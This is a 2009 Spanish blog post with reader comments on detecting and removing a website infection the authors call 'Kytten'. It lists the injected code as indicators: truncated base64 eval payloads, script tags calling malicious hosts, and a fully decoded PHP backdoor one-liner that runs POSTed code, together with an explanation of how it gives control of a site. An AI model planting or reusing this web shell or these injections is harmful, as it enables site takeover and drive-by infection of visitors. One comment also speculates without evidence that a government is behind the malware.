Ayer matamos a un virus-troyano desconocido que hemos llamado «Kytten»

por | octubre 11, 2009

Pues si, nuestra web ha padecido una infección «rarita» que por suerte la hemos podido parar a tiempo.

El bicho que nos ha infectado, le hemos llamado «Kytten» y a día de hoy, NO LO DETECTAN LOS ANTIVIRUS! (hemos probado con Avast, Ad-aware y Kaspersky).

Primero fue un bicho (chino) llamado «Gumblar» que evolucionó al «Martuz» (martuz.cn), y ahora nos viene la 3ª entrega. Al principio no sabíamos como diantres se ha colado el bicho en nuestra web, pero al final hemos encontrado pistas.

Inicialmente al bicho le detectamos por un mensaje que salía en nuestra web que decía:

Fatal error: Cannot redeclare ally() (previously declared in /index.php(1) : eval()’d code:1) in /wp-config.php(1) : eval()’d code on line 1

Aunque este error cambia según el servidor y el día en que se infectó. Otro ejemplo:

Fatal error: Cannot redeclare qq6k() (previously declared in \index.php(1) : eval()’d code:1) in \wp-config.php(1) : eval()’d code on line 1

Y en el código fuente, salían en ambos caracteres raros  que resulta que es código encriptado en Base64.

¿Cómo se contagia?

Sin entrar en demasiados detalles:

  1. Las páginas infectadas contienen IFRAMES que llaman a un archivo Flash y otro archivo PDF que ambos aprovechan agujeros de seguridad para crear un programa en el Windows (más detalles en «La venganza de los zombies Gumblar» que está en inglés). Da igual si tienes Firefox o IExplorer, si tienes el pluggin de Flash igual o menor a 9.124 (la última versión es 10.0.32.1) o tienes instalado el Acrobat Adobe menor a 9.0 (la última es la versión 9.2.0) tu navegador se infectará de nuevo.
  2. Igual que el Gumblar, una vez el bicho está en el Windows, roba los datos de configuración de los 10 clientes de FTP más populares

¿Cómo eliminarlo?

Para empezar, actualiza tus versiones de Adobe Flash y Acrobat Reader, porque por aquí te entra el bicho. También actualiza tu antivirus, como no.

Para desinfectar, explicamos nuestros pasos. Básicamente hemos realizado 4 pasos: hemos bajado toda la web al disco duro, hemos borrado toda la web del servidor, hemos limpiado la web de basura, y una vez limpio el código lo hemos vuelto a subir todo. Los detalles se explican más adelante.

Si necesitas limpiar tu web, recuerda que el código «maligno» está desperdigado por todo tu servidor. Si mientras subes una parte «limpiada» un usuario visita una parte «aún no limpiada», se volverá a contagiar toda la web. Por tanto, para evitar perder tiempo hay que borrar toda la web por mucho que sea un engorro y volverla a subir limpia.

Para limpiar y eliminar el «virus-troyano-gusano» Kytten, una vez he bajado toda la web al disco, he utilizado la opción de buscar del programa Adobe Dreamweaver, Edición –> Reemplazar –> «Buscar en:» –> «Carpetas». Aunque hay cientos de programas que tienen la misma opción de «buscar-reemplazar» y sirven igual de bien.

dreamweaver

Luego hemos buscado los «códigos malignos» y los hemos sustituido por una cadena vacía. Para saber que «códigos» buscar, hay que saber que hace el Kytten con los archivos:

1.– Infecta los ficheros .PHP con este código:

<?php eval(base64_decode(‘aWYoIWlzc2V0  (BLABLABLA) RfUE9TVFsnZSddKSk7’)); ?>

Lo del (Blablabla) lo pongo porque es un código muy largo y para que nadie confunda esta página con el bicho. Nosotros hemos buscado la cadena «base64_decode» y cuando hemos encontrado una cadena parecida a la del ejemplo(<?php eval(base64_decode(‘aWblablablablabla…) la hemos borrado desde el «<?» hasta el «?>«. Cuando encuentras una cadena de estas, en el resto de las páginas es exactamente la misma cadena y fácilmente encontrable y borrable.

Si es un fichero .ASP, lo infecta con otro código parecido a este:

<script src=http://mashaei.ir/AWStats/admin.php ></script>

Aunque en cada web, el enlace cambia. Para buscar esta cadena ponemos «<script src=http://» y dreamweaver nos va mostrando las páginas que la contienen.

Hemos comprobado que este enlace es una web infectada, seguramente alguien infectado debe tener un enlace a esta web que estas leyendo. Es como una telaraña de webs infectadas que llaman a otras webs infectadas… vaya paranoia.

Hay otro extraño caso, si la página PHP contiene la cadena ‘,a entonces colocará un código «maligno» como el anterior, al final de la página. ¿y porque páginas con la cadena ‘,a ?  pues nadie tiene ni idea.


2. – Al final de los ficheros JavaScript .JS inserta esto:
document.write(‘<script src=http://kytten.co.cc/upload/GFX.php ><\/script>’);

Aunque me comunican que en otras webs la cadena era diferente y ponía cosas como estas:

document.write(‘<script src=http://mateuszpilich.edh.pl/oferta/moja_strona_b5.php ><\/script>’);

document.write(‘<script src=http://indiansexporn.com/banners/.ftpquota.php ><\/script>’);

document.write(‘<script src=http://allo.vitebsk.by/include/index.php ><\/script>’);

En otros archivos .JS inserta al final del archivo un código parecido a este:

<!–
(function(vwoQJ){var p8UCz=’%’;var b2HS6=unescape((‘@76ar@20@61@3d@22Sc@72ip@74@   (BLABLABLA)  @3e@22@29@3b@7d’).replace(vwoQJ,p8UCz));eval(b2HS6)})(/@/g);
–>

3.- Infecta los ficheros .HTM y .HTML con el siguiente código, justo antes de la etiqueta <BODY>

<script src=http://kytten.co.cc/upload/GFX.php ></script>

Aunque hay muchas variaciones, otro ejemplo:

<script src=http://allo.vitebsk.by/include/index.php ></script>

4.- En las carpetas con imágenes crea el archivo «gifimg.php» (a veces se llama «images.php» y otras «image.php») que contiene un código encriptado en base64, y que el código desencriptado sirve para introducir comandos PHP directamente en el servidor sin utilizar ningún FTP!!!

El código es algo tipo:

<?php  eval(base64_decode(‘aWYoaXNzZXQoJF9QT1   (BLABLABLA)  m90IEZvdW5kJyk7’));?>

El (BLABLABLA) lo ponemos por lo mismo de antes, que no confundan esta página con el virus. Desencriptado queda:

if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’])); else die(‘404 Not Found’);

¡Vaya virguería de programación! no sabemos si sacarnos el sombrero delante del genio (o «genia») que ha creado esto o acordarnos maleducadamente de la profesión de la madre que le parió.

Si alguien escribe la línea de arriba en cualquier página web programada en PHP, tiene el control total de la web. Es tan genial como maquiavélico.

Lo único que hay que hacer es enviar mediante el parámetro «e» lo que se desea en lenguaje PHP. Por ejemplo si la página «infectada» con este código se llama «lista.php», se puede llamar a la página así «lista.php?e=(CÓDIGO PHP QUE SE QUIERA EJECUTAR)».

Aunque esto sería si el método fuese GET, pero en el caso de este bicho utiliza el método POST (seguramente para no dejar rastros en los logs) y la cosa se complica un poco más.

Y esto es todo, espero que todo este conjunto de datos sin sentido le haya sido útil a alguien.

17 pensamientos en “Ayer matamos a un virus-troyano desconocido que hemos llamado «Kytten»

  1. geobit

    Hola! estamos siguiendo tus pasos y a priori funciona. Después cambiamos los permisos de escritura a 644. Sin embargo al cabo de unas horas se vuelven a infectar las webs limpiadas… a ti también te ha pasado?

  2. Socrates Autor

    Hola, en Solosequenosenada.com nos ha pasado lo mismo que a vosotros, nos volvió a salir el bicho y hemos realizado los siguientes pasos para exterminarlo del todo:

    1.- Desinfectar la web tal como se explica arriba. Muy importante el tema de borrar (o poner en una carpeta no publica) la web contaminada y volverla a subir limpia.

    Sólo que quede un «código maliciosos» en una página del servidor (y un visitante la abra), puede regenerar el virus al resto de páginas en segundos. Repito, borrar y luego volver a subir.

    2.- Cambiar los passwords del servidor de «FTP». Si el bicho a podido entrar en vuestra web, es más que probable que algún chino (porque este bicho es chino) ya tenga una copia de vuestro password en su ordenador para infectaros con la futura versión 4 del bicho.

    Ojalá la policía o alguien detengan a los autores de este bicho, pero teniendo en cuenta que la versión 2 del bicho, se conectaba a 4 servidores (3 chinos y uno de EEUU), que cerraron el de EEUU pero los servidores chinos siguieron abiertos muchos meses… y con lo duros que son los chinos con el control de Internet en China… es lógico pensar que detrás de toda esta paranoia tiene que estar el mismo gobierno chino!, pero en fin dejemos el tema porque solosequenosenada.

    3.- NO cambiéis el password en vuestro programa de FTP, ponedlo durante unos días «a mano» cuando os conectéis sin que se quede guardado.

    Esto recomendamos hacerlo durante unos días hasta que algún antivirus detecte al bicho que tenéis en el ordenador.

    (en mi caso he reinstalado el Windows completamente porque estoy paranoico perdido)

    Creemos al 99% de certeza que el bicho, se conecta a través del cliente de FTP (en nuestro caso WS_FTP) y utiliza los passwords grabados.

    Otra curiosidad es que se ceba más con los PHP (completamente infectados) que con los ASP (sólo pone IFRAMES, que a su vez llaman a otras webs PHP).

    Y la última curiosidad, si hay varias cuentas de FTP, va contaminando las webs por orden alfabético.

    Por favor, si alguien tiene más datos de este virus-pesadilla, que los ponga aquí.

  3. eric

    este gusano es la repolla, no hay nada que lo detecte
    tuve el gumblar, que lo detetcto el aVast y tambien lo detecto Google
    ahora tengo esta variante que dices y parece la misma, con otras paginas, y no la detecta ni dios
    con el Agent Ransack encontrando los putos eval(base64) que vuelven aparecer

    estoy convencido que es una consecuencia del gumblar, y tambien afecta a los equipos domesticos por lo que es una espiral que se muerde la cola, infecta .js,.html,.tpl,.php y va dejando los malditos gifimg

    que alguien saque una vacuna porfavor

  4. sandra dodera

    hemos tenido un ataque también en nuestro sitio web URUGUAY FRAY BENTOS
    en http://www.lafraybentina.com y hasta el momento no tenemos solución nos arreglan unos minutos, al rato está roto otra vez que podemos hacer? habría que temer presa a esta gente.
    el mensaje que da nuestra página es el siguiente Fatal error: Cannot redeclare r07a() (previously declared in /home/lafraybe/public_html/wp-config.php(1) : eval()’d code:1) in /home/lafraybe/public_html/wp-settings.php(1) : eval()’d code on line 1

    si pueden me escriben
    sandradodera@gmail.com

  5. 2Contact

    Pues Yo por el momento estoy libre de ese virus en la pagina, pero creo que el problema fue mi servidor ftp que usaba «flashfxp» al aprecer lei por ahi que tenia unas vulnerabilidades que permitia recopilaran las contraseñas, restableci siguiendo los pasos de aqui eliminando el programa cambiando todas las contraseñas de mi server, y usando otro ftp, mucha suerte y aqui estamos, si alguien mas pudiera responder aver si casualmente utiiliza el flashfxp, para llegar a una solucion dl problema

  6. Socrates Autor

    2Contact, el Flashfxp escribe sus datos en texto plano, por tanto, también es vulnerable a este bicho.

    ¿Alguien sabe de un buen cliente de FTP, gratis, y que encripte bien sus datos?

  7. JOANB

    Nosotros estamos teniendo este problema. Hemos dejado un log de «ftp» para analizar cosas y observamos que en diferentes momentos del dia y de diferentes ips de conectan via «ftp» a nuestro servidor, se descargan los archivos (comando RETR)de la web limpios y los vuelven a subir infectados (comando STOR). Por tanto entendemos que algun proceso detecta usuarios y passwords de «ftp» que luego de alguna manera envian y del exterior utilizan para conectarse como administradores (por eso buscan los 10 mas utilizados) y infectar toda la web de manera alfabetica poque asi les bajan los archivos desde el «ftp» (comando LIST). Lo dificil es evitar que espien el «ftp» para capturar los usuarios y passwords. Se deberian utilizar encriptacion y «ftps» en lugar de «ftp».

    1. Socrates Autor

      No dices nada sobre si habéis cambiado el password del «FTP».

      En mi caso he tenido problemas durante muchos meses hasta que cambié el password del «FTP» y (IMPORTANTE) no guardo la contraseña. O sea, en el cliente de «FTP» creo la cuenta con todos los datos de conexión menos la contraseña.

      Es tedioso porque hay que teclearla cada vez que me conecto por «FTP», pero desde que lo hago así, todas mis webs están «sanas».

      El «FTP» encriptado está bien para que no intercepten el password, pero si guardas la contraseña (sin encriptar) en el disco duro, de poco te servirá.

      Según tengo entendido, el «proceso» del que hablas sólo busca ficheros con claves y passwords (en texto plano) por el disco duro, pero no tiene la capacidad de «keylogger» (por el momento, que estos chinos se las saben todas). Pero si tienes otras informaciones, por favor, no dudes en comunicarlo por aquí que siempre va bien ampliar conocimientos sobre el «bicho» este de las narices. ;)

  8. kriy

    ahí va una versión con otro servidor…

    las líneas de mis paginas asp y html son:

    «script src=http://skpasoh3.edu-my.net/alumni/robots_old.php ></script»

    Esta web te devuelve lo siguiente entre tags de script y encriptado para crear el siguiente Iframe:
    iframe src=\»http://skpasoh3.edu-my.net/alumni/robots_old.php?s=s2BeiIpCl&id=»+a+»\»

    a intentar limpiar el servidor…

  9. Cristian Aguirre

    He sido victima tambien. Muy lindo el codiguito de estos hackers.
    Un detalle muy importante a tener en cuenta:
    He revisado y hay que tener mucho detalle en el tema busqueda y eliminacion del codigo malicioso.
    Segun lo que he observado a nivel archivos, el codigo infecta automaticamente todos los archivos .html y .js.
    Tener en cuenta de revisar todos los archivos asignados a su cuenta de hosting, desde el path / en adelante. He visto que se infectan hasta los html fuera de public_html. Como por ej archivos de estadisticas html generados.

    Tambien otro aporte es que se inserta un archivo php generalmente en las carpetas de imagenes.

    Me acuerdo haber encontrado tambien un tutorial de hackeo de servidores para ejecutar codigos de servidor externos a un dominio por medio de pase de doble ? por GET. Ahora no lo puedo encontrar para decirles bien como era la modalidad.

  10. Celio Castro

    Tambien fui victima de este virus, como en un post anterior, mis respetos para los programadores o programadora, pero como fastidian…

    aqui describo la eliminacion y el funcionamiento del virus, si en algo ando mal, bienvenidos los comentarios.

    Descripcion:
    La infecion es a nivel FTP, aun que es probable, que la infecion se produzca por medio de inyeccion de codigo en servidores LINUX es muy dificil ya que estos servidores estan preparados para rechazar ese tipo de inyecciones, pero pude ser en algunos casos.

    a mi me paso a nivel FTP.
    al iniciar mi computadora, me epece a dar cuenta que corrian unos programas en background
    DLLHOST corriendo en C y ejecutado por el usuario actual CASTROPC, al ejecutarse este archivo, la pc se alentaba de cierta manera, hasta que el proceso terminaba.

    El programa estaba haciendo una conexion FTP, a mihosting y actulizando los archivos.

    asi que me di a la tarea de limpiar todos los archivos, PHP, HTML, HTM, JS, una vez limpios, al paso de un par de horas, la infeccion estaba de vuelta, aun cuando cambiaba las contraseñas del Hosting.

    Cuando cabiaba las contraseñas, al dream, le escribia la contraña y la guardaba, el virus recuperaba esa contraseña del registro, y al poco rato volvia a ejecutarse y cada vez, y ya era un fastidio ya que no podia trabjar y google, ya me tania catalogado como portador del virus.

    PASOS PARA DESINFECTAR.
    1.- bajar una copia del sitio a la pc
    limpiar todos los archivos de los posibles linas de codigo infectadas, revisar despues de y al final de los archivos JS.

    2.- una vez limpios los archivos, cabiar la contraseña del hosting.

    3.- una vez cambiada, reiniciar la pc, dejar que se ejecuten todas las aplicaciones normalmente, el virus no podra conectarse, ya que no va a localizar en el registro la ultima contraseña.

    4.- no abrir el dreamweaber ni cualquier otro programa de FTP, ya que estos guardan las contraseñas en un registro en la PC, y el virus tiene registrados los 10 mas populares clientes de FTP.

    5.- la nueva contraseña, ponerla en un archivo de texto, cosa muy importante esa saber que este virus, copia todas las entradas del teclado, asi que es mejor copiar y pegar las contraseñas, para no escribirlas.

    6.- Conectarse por medio de http://ftp.usuario@pagina.com, desde el browser o por medio del CPANEL en la seccion de archivos, por alli puede hacer el UPLOAD nuevamente. recordar que si se conectan de esta forma, no guarden la contraseña, por que si no va a ser la misma cosa nuevamente, para escribir la contraseña en estas opciones, copialas y pegalas desde el TXT previo.

    7.- incia a actulizar tuwebsite, no tendras probremas de infeccion nuevamente

    ULTIMO PASO.
    sugiero que la pc se formatee, para que la tengas limpia de todo virus posble.

    IMPORTANTE.
    este virus ademas de copiar todo lo que se escribe por el teclado y de usar el ftp para infectar, usa la VM para ejecutar codigo background.

    CUALES SON LOS FINES DEL VIRUS.
    a mi punto de vista, es una botnet, sus obejetivos son el envio de spam y el de un ataque masivo a ciertos servidores.

    si se dan cuenta, afecta muchso servidores bajo LINUX/CPANEL, ESTOS SERVIDORES USAN LA FUNCION mail() y la mayoria no estan de estos servidores estan expuestos a estos ataques, asi qeu una inyeccion de codigo PHP, como han de saber igual que ami a ustedes me imagino que sus archivos php, al inicio hay una lina cifrada, ANALICEN ESA LINEA. EVAL(…(….))
    si tienen acceso al exim de su servidor, veran como la actividad del mismo Exim, aumenta justo al ajecutar uno de los archivos infectados.

    SIGNIFICA QUE ESTA ENVIANDO EMAIL
    Seguramente, a de tener conexion remota a una base de datos, donde tomas las listas de mails, para hacer su proceso.

    EL ATAQUE MASIVO.
    no estoy seguro que se ejecute, pero casi un 70% de seguridad qeu si lo hace.

    estos son mis comentarios, cualquier cosa a sus ordenes, mi email, celio_castro@hotmail.com

  11. Annariel

    Hola

    Lograron limpiar su web? Porque yo he limpiado todos los .php, pero no encuentro nada en los js ni en los html; y sin embargo se sigue llenando el cache y viendose mal las demás paginas que no son el frontpage

    Alguna solución?

    1. Socrates Autor

      Depende de la versión de virus y depende de otras cosas, el virus decide a veces infectar unos archivos y a veces no.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

¿Eres humano? Si lo eres, resuelve esta operación: *